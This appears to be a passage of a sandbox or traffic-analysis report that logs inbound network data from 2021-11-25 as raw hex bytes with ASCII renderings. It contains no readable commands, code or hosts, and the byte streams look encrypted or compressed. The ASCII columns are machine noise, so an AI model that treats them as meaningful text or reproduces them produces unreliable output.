2021-11-25 16:27:48 UTC 1215 IN Data Raw: 73 7b d5 e8 e9 d3 dc 5e 15 7a ea be de eb ba 94 db ff 4c d1 88 e2 2a 2b b1 4a bd af 64 fd 9a 92 bd 42 b7 d5 
0a 07 ca af 29 bf 9d 5c 6c cd 7e 7b b9 f3 f3 5f 5d 62 e7 e6 6b c9 7e 8e dd 61 f5 27 50 97 02 68 62 f8 f1 a5 23 86 f4 a3 7f 3f 
29 88 a4 c0 c3 83 2c d0 7e 90 05 2e 3b a9 02 8f aa 40 47 15 b8 4a 17 78 52 05 7a aa c0 b7 74 81 df aa 40 5f 15 b8 4e 17 
d8 51 05 06 aa c0 f7 74 81 57 67 f1 4b b5 d0 55 2d 7c 4d b7 b0 ab 0a 8c 54 81 9f e9 02 7b aa c0 58 15 70 bb a9 02 e3 91 
2a 30 94 05 ce b1 c0 82 b1 94 
Data Ascii: s{^zL*+JdB)\l~{_]bk~a'Phb#?),~.;@GJxRzt@_NQtWgKU-|MT{Xp*0

2021-11-25 16:27:48 UTC 1215 IN Data Raw: aa c4 83 2a f1 25 dd c4 07 d5 c7 50 f5 f1 23 3d 88 8e 6a a1 ad 5a 38 4a b7 30 54 05 86 aa c0 69 ba c0 48 15 
18 a9 02 67 e9 02 03 55 60 a0 0a 9c a4 0b f4 55 81 be 2a 70 9c 2e d0 52 05 ee 55 81 8f e9 02 3d 55 a0 a7 0a 7c 4e 17 b8 
57 05 62 55 e0 20 5d a0 ad 0a b4 54 81 c3 74 81 ae 2a d0 51 05 3e 41 81 db 9a 07 a7 62 4a ca 1d 14 9e 2f b7 48 4a 32 
29 d4 2e 95 83 7d 7a 4c bc d2 8f 89 97 53 e7 b5 44 8e 17 3d 14 42 91 2e 00 bf f9 dd f9 fa d5 87 ea 3d e4 3e d7 c9 17 3a 
54 7f d3 8f 72 81 21 9d 0a 8d 77 05 d4 3b 5f 5e 0e ea 41 f1 a3 1d b2 ee 41 2d 71 fe 7e b5 65 7f dd 42 87 cc f8 10 87 0a bd 
8d e2 15 8a 82 72 9e 22 22 d4 8b fa d9 cc f5 6f 1a 3b a7 6b a8 18 11 2f 2f 7b 30 0f 5f 40 a3 71 61 c6 b3 87 2e d1 86 21 45 
85 f9 0f 3b 39 c5 27 ac 21 64 88 f0 1b 13 c8 cf 43 b8 
Data Ascii: *%P#=jZ8J0TiHgU`U*p.RU=U|NWbU ]Tt*Q>AbJ/HJ2).}zLSD=B.=>:Tr!w;_^AA-q~eBr""o;k//{0_@qa.!E;9'!dC

2021-11-25 16:27:48 UTC 1216 IN Data Raw: 28 83 84 84 70 72 05 f5 26 bc 0a 69 fb d7 7e 9a e4 85 69 17 06 53 a8 c8 e5 82 c5 37 cb 18 3b 21 cd 1d bc 37 
cc 5d 7a df 51 03 83 f1 0c 9e 2c 45 f0 49 5d b3 ef e8 58 7e 49 99 46 90 76 3e ae c1 b1 64 6d 9e bf 87 d5 f5 fd 75 71 39 aa 
6e 4f a4 8d 8f 5b fc 24 c8 c8 05 6d a6 d2 c3 f8 43 9a 17 e5 0c c6 8f c3 60 dc ca 1b 0f 5a d8 a4 63 a2 b8 72 bf 6b b4 64 a8 
92 f7 0d cd c2 b6 72 f7 a3 0d e3 fe f0 00 a3 6a a3 92 1d 57 44 95 fb 4a e6 c4 78 ce a7 2f 50 ea a3 20 de e8 94 d0 5d 50 
21 4a a9 b6 90 da 93 4f 59 5d 79 ee 4a 6a a4 6a 7d cb 00 2d 92 5d 5f 49 55 8c 39 33 3c 9b 40 41 73 5d e4 63 1d 06 da cb 
9a b5 62 7b 2b 96 60 07 d1 b2 5e 0b 99 2e 07 f5 70 e2 5d f9 f8 ed fd 2d 73 30 da 43 41 1e 0d 0f a6 a8 38 d5 9a 54 af 1f 74 
1f 17 e5 85 b4 4f 0e 38 c3 80 08 43 35 0c d5 2f 
Data Ascii: (pr&i~iS7;!7]zQ,EI]X~IFv>dmuq9nO[$mC`ZcrkdrjWDJx/P ]P!JOY]yJjj}-]_IU93<@As]cb{+`^.p]-s0CA8TtO8C5/

2021-11-25 16:27:48 UTC 1218 IN Data Raw: f3 39 20 58 f3 71 4b 39 9e af 7c a6 4a 9e 60 e0 6e 48 36 db d1 86 d5 9e 7d a9 77 f9 84 7f 1d ef 8a 50 ef ab d9 
17 d1 00 78 b8 f2 0e 56 5f e9 9e f6 13 11 da 83 dd 57 9b 1b 41 3a 45 b2 f6 31 cc 5b 21 c5 ce 00 e6 0a f5 52 2d a2 d3 17 
c0 24 ec b7 4b 22 1b 0b e1 1b a3 1c 76 f6 c4 3a 1f d3 f8 e5 65 e9 f8 04 9f b1 52 6d e5 2e bf 85 e2 ab cf 58 58 8d bc af 4e 
ec b3 24 1f ab 6d 81 5c 52 f5 c2 8e c5 ef 5d 12 eb dc dc f2 33 56 16 ae 1b 26 5c 37 18 ae 61 f7 45 a0 c3 dc e2 42 8f 3b b0 
e1 8d 91 8c 6b 8b 1c 77 0f ee 34 d2 74 3d 31 2e 4f 25 3d 6c 06 55 85 28 4f 4d 44 d9 41 c7 9a 8b 5d 9f dc 76 62 50 14 c0 
a8 a1 be 57 e8 26 94 be b1 08 92 ce a2 5c af 5b e6 46 91 df 90 d6 cb cb 82 ad 0f c4 29 5a 26 33 96 52 90 9d 84 e4 54 2b 
05 37 2f 8d fe 2e 23 9d 20 76 b6 b7 87 51 97 e9 
Data Ascii: 9 XqK9|J`nH6}wPxV_WA:E1[!R-$K"v:eRm.XXN$m\R]3V&\7aEB;kw4t=1.O%=lU(OMDA]vbPW&\[F)Z&3RT+7/.# 
vQ

2021-11-25 16:27:48 UTC 1219 IN Data Raw: 67 84 a1 2c 54 10 41 a2 3b 29 86 aa 3e 4e ec b2 70 28 a5 f1 50 5f 3a d3 6e f6 30 f4 42 11 46 30 3a 37 12 ec c2
62 7b 3c a4 50 1e 48 28 85 14 88 aa 3b d0 ce 8c 31 11 48 e8 aa 8f 87 b1 95 a7 bb 84 a3 93 3e 59 7e b2 f3 3f 42 a7 29 e4 
4c cb 3a eb f1 c4 ff a1 5f c2 3a 4c 65 08 0d b4 ea e6 cd 41 e1 85 e7 9f d2 25 91 a4 20 97 4a 4c 3d fe 31 2d 1d 85 d9 1c 32 
1f a6 e0 a3 b6 90 1a e0 43 9c c1 60 4c ea f1 ed f5 07 de 5e fa 01 4c be 82 b3 64 49 93 37 d5 5d ce 18 0a d5 2f 76 aa 98 
3f b9 b4 8a b9 93 be 70 8b da 6d 16 4b 21 60 d6 67 e7 e7 30 6b 7e 45 b3 0e a0 f1 cb 43 fc 7e 4b e3 6e 03 43 09 86 9d 20 
69 76 62 3c 4a c5 88 8a 55 2b 27 63 a0 5a 7b ad 50 b5 41 f1 c6 16 53 24 2b bd 1b 3c a1 f4 77 dc 43 c7 cf 21 b6 5b cd 28 
c4 01 3d ea f1 af 8e e7 7c 07 6a 3f 12 92 24 3d 16 
Data Ascii: g,TA;)>Np(P_:n0BF0:7b{<PH(;1H>Y~?B)L:_:LeA% JL=1-2C`L^LdI7]/v?pmK!`g0k~EC~KnC ivb<JU+'cZ{PAS$+
<wC![(=|j?$=

2021-11-25 16:27:48 UTC 1220 IN Data Raw: be 42 01 d7 e7 b3 0d 53 47 36 4a ab 20 c5 f4 0a c6 1e c2 66 b5 d1 3a b6 81 f3 6f 50 33 35 38 05 56 60 a1 e7 
9b 7b d7 26 c7 6d d0 3b 29 55 47 f8 8e 14 d7 4f 4e e9 41 a6 81 be e9 ef 08 39 c1 30 a1 ca 92 ac 02 c7 6e 64 c7 29 17 80 
72 eb 60 29 51 b3 59 b3 78 e5 29 16 6f 21 8f c7 9b b9 d2 2b 6d 3a 28 a8 fe 9e 85 71 a2 d3 72 d8 1a 05 5c 77 e4 16 08 1f 
62 03 e7 f3 17 f8 85 23 2f d4 74 ac 03 56 8e de df d5 0e d8 fb a8 ba c5 aa cd b0 bc 97 a4 59 8d 05 e5 6a 90 9e 84 68 b8 
d9 47 76 cb b5 50 15 8a d7 e5 7f 6c 50 3c 0e 74 74 3e 63 20 91 04 da 53 43 c5 d1 78 24 f3 7f 4c ab 98 c0 fa e3 a3 d0 b3 
26 c5 a1 0d e1 01 30 3c 8f 01 93 8f 26 96 d4 fb a8 ed 32 2d ce 8a 20 7b ae 76 03 5b dc 13 71 05 28 e8 a7 9c 8c 08 33 7e 
1b 2a 2b 7b 35 d7 09 7e b0 57 6b ad 0d b7 e0 d6 bd 2a fa 
Data Ascii: BSG6J f:oP358V`{&m;)UGONA90nd)r`)QYx)o!+m:(qr\wb#/tVYjhGvPlP<tt>c SCx$L&0<&2- {v[q(3~*+{5~Wk*

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 1222 IN Data Raw: e9 a5 98 d1 07 21 86 88 2f 0b 5f 7c e7 38 88 62 94 1d ba d4 73 30 89 69 cb aa ba 05 da 1d db b0 6a 87 54 e4 
91 bb 8a 45 a0 07 54 8c 9c db 20 8b a8 81 f9 98 ac b1 55 37 db dd 23 01 a4 98 a6 4c 7c 3c 4b 31 05 6f f2 e7 c6 f8 02 b4 
81 34 d9 81 8b fa 72 2c 48 cf e7 8f f5 c9 ed 32 6f fb 50 e1 b7 cd 4e cc 8f 9c 93 c4 6c ed 1c 4d 47 6f 6e e1 7f d2 9b a8 9c 
a4 7e 41 d6 ef c1 f9 d3 fc 3a a5 25 9d 33 4f 3f 17 0e f4 28 a1 4f e4 c7 1e 18 28 d2 83 83 a1 f9 7a 70 7d 3d b8 76 f7 81 82 
cf e6 8e e9 db ff c0 98 a0 2b b1 40 3e 20 f2 61 8c 56 f9 bb ba 5a 69 49 89 c6 0c 88 60 09 24 c1 62 dc be 39 13 c3 b9 f1 c4
1e a7 af 36 86 8d 41 cc e1 f1 6a 4a 7e 23 05 44 46 e8 1e 77 30 54 2b 70 04 23 27 e1 61 50 a8 96 90 2d 91 ba d6 b2 d2 c7 
2e f0 03 c0 2c 3c 65 8b 7b 85 aa 4f 3a 06 83 a9 
Data Ascii: !/_|8bs0ijTET U7#L|<K1o4r,H2oPNlMGon~A:%3O?(O(zp}=v+@> aVZiI`$b96AjJ~#DFw0T+p#'aP-.,<e{O:

2021-11-25 16:27:48 UTC 1223 IN Data Raw: 7c 56 98 70 bd a1 1d ac 96 d7 b6 91 9a 48 ec cd 3e 56 b4 b5 c6 a3 a4 1f 95 19 68 de ab e2 b4 d7 ba d0 90 27 
5f 38 77 5f ed 39 56 15 08 9c 8c 2f cf c6 a3 1e 5a 8b 89 1c 3a b1 61 3f c6 cc 6b 69 eb 83 60 79 79 8c cf d9 a7 9f 81 74 24 
4c 3d 75 e0 14 29 48 35 7e d8 5b 9b 28 5e 49 1b 8b df cd 34 80 b8 93 9f 0f dd 16 ea 51 95 f4 99 ac 53 94 3b 5c a3 6a 62 
6c 71 a5 54 8e b4 d1 04 85 10 ac 90 df ba 4f 26 28 28 cd ff e9 13 61 19 cb 60 cb 63 23 ad fd c7 c5 66 80 1a 28 72 30 32 
95 bf d0 8a 49 7a 94 d3 d2 40 92 cf 18 4e 06 b8 24 52 87 d2 6c b1 b6 90 1a d4 f7 1c 55 0e 19 f9 f2 17 6b 73 99 6b e1 4e 
d2 53 3a 72 67 1d ef 71 a6 64 ce b1 f9 4e 06 9b 00 44 73 4f cb 93 66 56 3d 29 1f a2 59 a4 1a 6f 4f b5 2d a7 00 95 0b 99 
81 fc 98 a2 a3 94 ae 19 ff cd 3c 92 d2 e3 39 d0 53 e2 
Data Ascii: |VpH>Vh'_8w_9V/Z:a?ki`yyt$L=u)H5~[(^I4QS;\jblqTO&((a`c#f(r02Iz@N$RlUkskNS:rgqdNDsOfV=)YoO-<9S

2021-11-25 16:27:48 UTC 1224 IN Data Raw: 51 19 14 9c 63 f8 ca 97 e6 1b 68 7a b5 fc 37 35 84 1b 83 f5 4e a8 1e b5 c5 f5 d1 1a 49 2d 9a 72 cb 0b f0 7a 62 
92 18 ad 69 27 e2 09 eb 7a 37 bd 45 34 83 fc 4b f8 54 6a 00 b3 ff 7c 3e 0e 9f 72 79 fc 12 d1 2a f9 b6 20 de 0a 40 1c 4d 7e 
35 50 0b 53 f3 55 22 1e 77 48 6c f7 74 a6 4e 49 f0 4b 09 b5 95 71 3b ab de 5f fe 44 7c ce 1d 03 29 fa 4c 0d 00 dd 35 a3 82 
80 2d 09 a2 e7 51 35 ca 76 24 fc 6a 59 34 ab d1 04 65 5c 49 a9 d4 f0 a0 cc aa 2c 84 20 7c ef db 5a f7 b2 24 02 f8 7f e8 ac 
1e 75 1a 68 16 fc 04 24 4b 3e 61 13 a9 f8 07 40 af 88 b6 13 af 86 b5 d2 fb 46 f2 be 03 ab 02 69 22 58 71 8e ed 06 10 b7 
62 ed 5d e1 cf 36 50 f1 18 9b d0 af db df 3c 94 4d 17 9b 05 d1 f4 e1 d7 29 5e c3 d5 9f 2a b1 16 3a 71 de 9a 05 b8 66 67 
53 37 b1 6b 1c 5f 84 c4 c8 3c 8d 6e ea 34 2e 
Data Ascii: Qchz75NI-rzbi'z7E4KTj|>ry* @M~5PSU"wHltNIKq;_D|)L5-Q5v$jY4e\I, |Z$uh$K>a@Fi"Xqb]6P<M)^*:
qfgS7k_<n4.

2021-11-25 16:27:48 UTC 1225 IN Data Raw: 77 65 9f 9c 86 22 45 22 fe b1 db 70 62 e5 ae d9 7f 83 bb e6 c7 d0 1b 8c fc e2 b9 3b 1c 02 b3 79 4c ba 11 09 
61 14 69 8f 66 2d d5 41 2a 6a 05 12 1f df 49 4a f1 7d 36 19 fb e1 41 3f fc bd 42 a4 7e 4f 5e 45 17 5b 72 28 a8 da 49 a2 5d 
f9 90 cf f2 ec ef 33 25 ea 09 b3 a9 bd 69 14 2f 3d 5b e1 c2 b8 38 42 5a dd 5b 52 8e 11 b4 18 df f1 44 32 52 e5 f7 20 1b a6 
01 ef a3 ef e4 cb 22 aa 5b 72 d1 ac aa b5 e3 23 ab 4e e6 23 63 9b d4 03 b1 c5 3a 6f 1f bb d5 3f 54 97 c4 8f 94 ab 8e c5 d1 
c0 ed 0c 9b a4 f6 32 4a 68 05 f8 cf d4 22 d0 cc 53 13 1f 4f 4f 9c 39 8d 66 c7 d6 2c 07 6f df 8a 9c 65 bd 0c 1c 64 e1 4f 86 
10 1e 67 57 ce 76 b7 a1 f5 23 24 e4 ed a1 ba 8a 6d 4e a6 f5 b7 f4 a2 d7 e0 59 b5 de 2b 07 14 75 db 80 0b 6e 10 17 0b 66 
ab 56 c3 ea e9 f5 72 e5 7a 15 aa c9 3a 33 b5 
Data Ascii: we"E"pb;yLaif-A*jIJ}6A?B~O^E[r(I]3%i/=[8BZ[RD2R "[r#N#c:o?T2Jh"SOO9f,oedOgWv#$mNY+unfVrz:3

2021-11-25 16:27:48 UTC 1227 IN Data Raw: e5 ce b7 f3 03 0b 2e fa 12 10 a6 ac e7 8f 75 e0 d6 b5 88 f4 d8 5a ac 56 c9 bf 28 de ee 1d 45 f2 dd e2 23 9d 67 
de d8 70 64 d1 c2 c8 d4 83 7f 42 53 8c 89 70 b7 67 46 bf 64 24 d0 68 4a cd 81 b6 43 86 db a2 ef f8 3e 39 a5 84 b3 06 08 
bd b1 bc bc b0 14 d5 62 f8 3b 20 71 36 ab d8 c2 08 96 d8 e8 c5 6f 8d 83 70 48 0c 3b 26 18 41 26 07 8a 4e 8b b8 0f 0a f8 
89 f0 ca 67 34 59 8f 1d e7 e2 1c 8f f6 6f c4 42 e2 d0 31 d6 a6 d6 5e 5e 6e 13 8b 71 e8 fc ae 5b 7b 57 c7 97 7f 5d ee 5e 9d 
03 05 fc 75 ef fc 2f fc 4c 0a 33 8a 3c 73 8c 62 00 41 87 f5 9b df c5 5d d8 ac db ea 4e 1a d8 7f 27 fe 78 7f bb c5 c3 c0 74 
7d 0c 43 4d 13 74 c9 46 8e 85 f5 ce 12 87 e2 0c 0f 05 d0 b0 7a 67 6a b0 48 51 1d 52 f0 30 c3 41 06 68 a2 4f fc d9 ed b4 
9e ac 2a 6a 64 cb 7c 4a 50 bd c8 43 3a 80 3b 38 
Data Ascii: .uZV(E#gpdBSpgFd$hJC>9b; q6opH;&A&Ng4YoB1^^nq[{W]^u/L3<sbA]N'xt}CMtFzgjHQR0AhO*jd|JPC:;8

2021-11-25 16:27:48 UTC 1228 IN Data Raw: 68 34 a3 f1 00 df 34 aa 4b 25 11 76 c6 e8 49 46 7e c1 45 5c 35 0f 4d fa 41 48 8a 97 27 e2 f0 5f b5 13 67 db 41 
a5 6c 6d 7b db 26 71 a0 52 7e 42 2b 4c 58 b8 cd 77 f8 10 07 bf a5 39 f4 4e d8 1b 5e a0 74 96 b5 04 53 fe 27 13 01 a8 97 
b9 f8 e2 d1 a8 57 fd eb af c7 c7 c7 62 33 1c 35 8a dd 41 f4 57 33 f8 2b 18 b8 8d d1 6a dc 6d c1 c0 57 07 6d 58 d8 d5 04 a1
3c 36 83 10 b0 ca 2a dc 76 61 67 48 d2 61 04 12 3d dc 80 87 9b 72 e7 95 eb 61 0d 2f 39 7c a8 55 82 22 3c d3 08 9f 4c 2d 
a0 73 c1 a8 38 ec 01 71 c2 34 ae 50 cf ea 22 1b 97 49 28 97 2d 81 89 e9 bc 49 b2 84 a1 e4 4a 0d 27 d5 33 46 45 96 47 
88 a4 e0 5c a7 06 86 e4 00 51 70 2c e4 0a 6f e1 9a 49 3e 8a 8f 77 28 e4 41 01 56 60 0a b0 d8 ff 93 af fd 57 93 b4 8f 7d d4 
98 40 db 00 a0 0d 6f 0b e9 a3 96 58 6e fb db b9 ef 
Data Ascii: h44K%vIF~E\5MAH'_gAlm{&qR~B+LXw9N^tS'Wb35AW3+jmWmX<6*vagHa=ra/9|U"<L-s8q4P"I(-IJ'3FEG\Qp
,oI>w(AV`W}@oXn

2021-11-25 16:27:48 UTC 1229 IN Data Raw: 94 12 a8 18 34 40 89 93 8b 68 58 e0 4b f6 12 a4 6d 1f f8 0a 1a 3d 28 6d c1 19 54 81 11 ad 53 66 e9 fd 21 bf 43 
6c 75 97 29 96 90 0a e9 f4 14 01 90 ce 42 ad 23 9f 67 2a 15 e2 08 ed 8d f2 05 15 22 c8 bb 03 c3 cc 1d 28 6f 2a 46 30 a4 
20 a2 ef 14 72 7e a3 dc 70 00 82 ae 69 cb 3b e3 5e 1b 4e b9 bf d6 dc b1 9d dc 6f 8e d3 28 ea 7b ef e5 25 79 f5 49 65 14 
50 b0 25 5f 75 07 92 a4 b8 87 b6 c9 8b 36 fc 35 63 96 a3 20 52 de 4b 83 10 8e a1 1f d2 48 f1 bd 9f af a2 f1 d4 aa f0 bc 71 
0a bc c6 7a ce c9 33 7d ce a4 df 32 e5 44 f4 a9 07 45 a3 27 fb c3 dc 61 d2 41 00 a6 fa 6e 3b 47 f9 67 d1 55 b4 93 ec b0 
9e 4d b0 0b d5 05 94 1b 3f 34 f3 94 87 54 7d 49 c4 d5 dd 0c 4d 47 f2 83 d4 19 19 4f a9 8e a1 13 24 05 e0 05 e3 37 5a 3e 
ec 5f da 66 2e 13 af 4c 8f de 23 0d a7 34 ed e2 e2 
Data Ascii: 4@hXKm=(mTSf!Clu)B#g*"(o*F0 r~pi;^No({%yIeP%_u65c RKHqz3}2DE'aAn;GgUM?4T}IMGO$7Z>_f.L#4

2021-11-25 16:27:48 UTC 1230 IN Data Raw: 4d 04 04 9c 82 c7 2f 78 89 65 48 39 7c 8d c7 37 97 4f 01 dd 71 9d 06 ed b9 a0 0a ac 37 1a a2 c8 09 9f c7 20 
13 0d 50 c2 42 75 b8 cd 41 0b 16 46 88 3a 6b c6 e0 da db f4 bc 27 b6 e4 c8 b6 aa 58 c3 01 96 09 a7 5e 4a bd 31 ad 49 b6
23 46 b6 a3 5d 10 63 52 3b 4c 3c a3 31 ef 81 26 e6 e8 23 8d 63 2e 12 61 5b c4 b7 ea b8 00 1b 40 fb 34 cc 5e 44 4b f4 18 
22 45 d4 ec 6a c7 65 c7 ba 07 ac ff 68 50 d8 07 b9 92 62 c4 47 dd 6d dc 9a 7c 62 87 1e 56 49 e7 87 84 e9 8e 52 cc c7 17 
49 54 a3 d8 89 96 97 97 f4 b3 ab a1 fc 50 e0 94 cb a3 13 7c ee d4 01 36 66 97 3c 38 da c3 9f 06 81 24 1a a6 55 ad 5f dc 
c5 a8 37 37 21 fa 2c e9 6d 23 d7 48 ff de 8a 18 13 cb e9 c4 5a 83 45 8c 4d 54 74 74 92 de aa 30 20 d4 45 30 f5 1d 6b ac 
5d 91 1a 9b 1c 15 76 56 00 d0 5d c8 31 1c 47 a3 0d a9 d2 
Data Ascii: M/xeH9|7Oq7 PBuAF:k'X^J1I#F]cR;L<1&#c.a[@4^DK"EjehPbGm|bVIRITP|6f<8$U_77!,m#HZEMTtt0 E0k
]vV]1G

2021-11-25 16:27:48 UTC 1232 IN Data Raw: 42 1f 9b 26 d0 ac d9 8a b7 2c b2 55 6d a7 83 fc b7 29 56 96 f4 74 3b 25 5e ae a9 4f b8 90 51 00 86 76 cc 4a 
e1 ca c1 9e 34 57 57 5f 08 56 56 aa 9a df 33 b3 96 97 c3 95 15 34 6f 2e 20 44 44 7c 85 e3 c2 fb 08 11 85 6a a4 0e 5a c4 
af 57 e2 47 96 04 76 53 44 90 dd 1c 1e f9 a8 0e 85 02 25 92 18 11 b0 3e 4c db 85 4a fe 51 68 8f 81 62 20 c6 64 3a 7f 98 
b7 e7 67 0a 92 cf 10 49 68 a0 fc d1 64 6f d3 74 1c 43 e7 79 22 89 95 b0 48 e3 b9 ea ca e7 5e 12 c1 a2 33 82 6c 06 49 61 
c9 39 37 be 5f 37 e8 56 2a 46 c0 69 34 a6 e5 f2 c0 47 78 35 74 26 08 4c 0b c6 5e 45 a1 e5 c0 e9 6b af 4a 03 f6 aa 94 24 
15 d0 34 9c df 02 c6 24 c2 ed 85 81 f9 72 8f 2e 0f 92 a7 fb e5 e5 c4 74 33 9d 03 1b bb 03 df 69 91 bf 48 f6 7a 87 9e f6 eb 
f1 ea aa b1 cb 9c b8 bc bc d0 5e 5d e5 b1 fe 06 fc f5 
Data Ascii: B&,Um)Vt;%^OQvJ4WW_VV34o. DD|jZWGvSD%>LJQhb d:gIhdotCy"H^3lIa97_7V*Fi4Gx5t&L^EkJ$4$r.t3iHz^]

2021-11-25 16:27:48 UTC 1233 IN Data Raw: fa 8d fa 52 09 03 5c 64 5f 15 f0 60 63 3c 99 4a 05 c5 49 28 55 9e 6b b2 6b 8a e7 c4 73 76 01 5f b3 bc 8d 4c cb 
db b4 bb 91 4f 81 f4 45 da 69 90 ed 2d 9e cd 9d f4 7a ba ce 3e 87 67 9a 0a d6 a9 82 da b9 ea 57 cd 82 a5 f2 ef 11 d1 eb 
90 64 94 c2 21 76 fd 7b 59 11 8d b2 1d 73 dd 77 d5 b2 73 d4 1d 0a ef bb 2d e8 83 c7 d4 ba 73 13 c1 06 b3 63 7f 21 ae bb 
95 ef a1 53 68 f3 cd 1a 2c ac f6 bc ab ac 17 b4 0e 4b 4b e9 c3 dc 39 1d c4 63 4a f7 c4 23 8a 5f de ee ad cb e1 f7 75 f2 0c 
69 aa aa dc 29 ff ae ca d6 ce 03 84 8b 8e 8f 73 3d f4 ef 3a 70 61 77 e4 59 56 e3 a0 a8 77 64 35 c1 ea e1 18 c7 dc 6d 0f c5 
22 90 01 51 13 4d 8a d4 71 ee 2a 6a 18 a5 c0 33 aa 2d 8e 7b 64 6b a9 ea f4 ef 66 bb dd 08 8a bf a3 1a f2 01 6d 58 2e 94 
a3 48 4b 5e d2 7c 37 0c bc f0 79 7b a9 2c 62 53 
Data Ascii: R\d_`c<JI(Ukksv_LOEi-z>gWd!v{Ysws-sc!Sh,KK9cJ#_ui)s=:pawYVwd5m"QMq*j3-{dkfmX.HK^|7y{,bS

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 1234 IN Data Raw: 04 c9 86 fa 11 15 f8 21 c1 e1 05 7b 71 ca 05 a1 52 1a 9c b2 96 a4 44 9c b2 41 3e e0 a0 bb 1d 7c 96 20 5e ef 
22 74 f1 9c 13 c5 66 75 68 7b 51 a0 89 38 00 58 6c 2e 7d d4 01 0a 89 28 43 de 02 f7 d7 cb 4b 73 78 ea 9e da b3 f2 0b 05 
df 39 4f 6d 82 af 21 6b ba b4 a3 c3 b5 1c cd a2 35 0f b7 15 7b 36 fe 0c 39 a7 9f 25 05 96 30 82 8a 4f f4 15 9f 98 8a c0 06 
b7 f1 a4 76 94 b2 a2 25 26 2c 57 61 88 1b e0 47 32 6e 35 79 5e b3 c6 1d 4b 19 79 e3 e5 ec 16 ea 7e 5d f9 94 91 16 49 e4 
33 df 02 de b5 0a 7f da 56 d5 4b bc ce a0 39 08 64 ff be 93 ee 5e 04 95 30 7c 68 b2 03 fc 8c 2c 03 99 98 5c 89 85 2b 4d 
3d b1 d2 a7 3c 13 a1 9c 2d d5 7b 57 a8 af 96 ab 40 e0 ef e4 e0 16 98 53 1e 34 b8 a1 bf 87 6f b0 11 a0 84 03 12 83 02 9e 
90 2f c7 0a 22 66 97 29 bc bc 9c 62 80 9e 72 45 cc 2d 
Data Ascii: !{qRDA>| ^"tfuh{Q8Xl.}(CKsx9Om!k5{69%0Ov%&,WaG2n5y^Ky~]I3VK9d^0|h,\+M=<-{W@S4o/"f)brE-

2021-11-25 16:27:48 UTC 1236 IN Data Raw: 70 5b c3 90 dc 47 e6 e1 4a e9 b0 bb 98 c5 85 2b 5e 71 0a 11 56 8d b6 14 66 56 f5 65 1c b8 1a 7b a5 30 bd a3 
04 30 26 40 d7 55 b8 39 d4 be d0 1a 45 f8 ce 9d bb 46 67 db e6 02 2d 78 37 81 dc 86 00 57 0a 16 e1 78 96 f8 d0 95 e1 e8 
a5 b3 4a 96 12 73 50 1c f4 3f 84 3a 56 66 1c 9b 93 b4 28 4d 3e f6 68 d7 2c ab e5 94 63 15 f9 68 14 a7 9e 81 ba ea 35 08 
4d e1 4e 5e 11 3c 4e 87 2f 7b 96 f7 47 75 b5 0c 97 0c fe 3b bc c7 7f bb f8 7b 62 0a 6b 9d e4 8e 5f 5e 9e 4e f4 f2 12 fd bc 
44 76 d6 e0 fe 2d dd 67 4a 4d 0e 7f 95 a7 23 fa 89 0b 9f 80 d3 c8 e2 5d 4e 77 5c 6f 57 db 2b fd 5a 5c dc bb 73 4a ef db 75 
83 6c 28 97 4a 7f f6 ff 6a 17 60 e4 b5 92 7a bc a4 e0 97 2e 37 14 89 b6 e3 f1 cf 5d 11 17 e5 d4 b3 cd 6c ff d9 fe ab 5f a8 
96 0a 93 b4 97 9f 5d 25 fb ed 2a d9 6f db 09 26 
Data Ascii: p[GJ+^qVfVe{00&@U9EFg-x7WxJsP?:Vf(M>h,ch5MN^<N/{Gu;{bk_^NDv-gJM#]Nw\oW+Z\sJul(Jj`z.7]l_]%*o&

2021-11-25 16:27:48 UTC 1237 IN Data Raw: 1e 9a f7 be 57 0a 87 68 e2 03 e3 c4 75 44 ed 9d 53 e0 b4 53 07 cb 23 57 14 b1 83 b6 64 17 79 8a b0 d2 bd d3 
b4 3b 40 8a ad 74 b9 6d fb 09 c5 c5 e1 e6 fd 94 4e e3 92 87 ef 2a 89 ce a3 91 cb 66 9b 0b 19 ff df 67 b9 16 6d f3 22 be 25 
a1 02 99 da 64 af 7d 35 5f 27 64 1f 69 35 0d 4a 04 28 ff f4 f1 a7 1d 38 3d e4 22 8e c8 e9 75 b9 84 a6 6e 1f 2b 18 d8 c0 93 
e1 d5 fc 74 2c 38 f1 65 da a6 30 77 84 48 2d d3 b8 30 c0 1a 91 84 e8 ad 08 6d 75 50 fd 3c 09 9d 97 7e 92 b4 0a 89 8b db 
40 ad 81 40 07 d2 e7 77 e8 c0 ca 09 b5 32 7a 83 95 d1 93 24 a8 e9 34 a4 cb 0f a6 e7 e5 72 34 d4 ec 23 9a 72 a4 d4 00 
a3 82 60 d4 1c 15 30 40 0b 7b 72 c6 50 8d 7e b2 28 e9 25 c6 15 aa 29 a3 04 5f 9a 2f 72 cc bc 9b 5b ed a4 1a 8d 86 c9 48 
30 60 57 36 17 77 19 27 5a 4a 51 eb 99 f6 09 83 fe 90 
Data Ascii: WhuDSS#Wdy;@tmN*fgm"%d}5_'di5J(8="un+t,8e0wH-0muP<~@@w2z$4r4#r`0@{rP~(%)_/r[H0`W6w'ZJQ

2021-11-25 16:27:48 UTC 1238 IN Data Raw: af 34 4e 97 cb 74 eb 3a 59 59 ae cc bc 98 de 82 97 10 c5 33 8b 3e e3 9e e0 cc b7 5c 4b b2 e4 1b 3a 9c 41 46 
64 b3 df 72 3d fd 93 cb 57 12 7b 33 7a 95 b9 aa d3 9c 3d 9b 2a 9a df 67 d6 6e 36 e9 2f 9b a3 ae 97 92 c8 c9 7b ad 6d b5 
6b 0b 39 ad a7 36 0d c0 2f 2f f3 7f e9 4a 9f b3 d7 a9 fc 37 5d ed 6f dd 6d be b0 e6 74 9d 2e f0 b6 6b fe 0d 9d 7f e9 e5 f7 
99 a4 cf bf 0a 5f e9 62 c6 75 b8 f0 af ee c3 7f 61 b0 ac 6e de 9c 75 ca 33 6f 26 69 b1 9f b1 7a 4f 64 72 e8 fa f3 e0 00 1a 54
82 3b 14 3b a3 24 f8 18 25 3e 9b a4 5f f2 55 c9 7a f2 0c c8 0b ca a8 3b 29 36 db 8a bc a0 ec bd 59 a0 b4 89 62 51 d2 30 
91 b1 81 e9 95 0d 2a 75 78 cb 8f 3a 8d 2e f2 66 df be 2a ad c8 d1 ff d7 dc 97 37 b7 ad 2b 7b fe ef 4f 21 f3 a9 3c e4 35 a3 
48 5e 62 4b 0a 8f ca f1 1e af f1 9a d8 c7 2f 
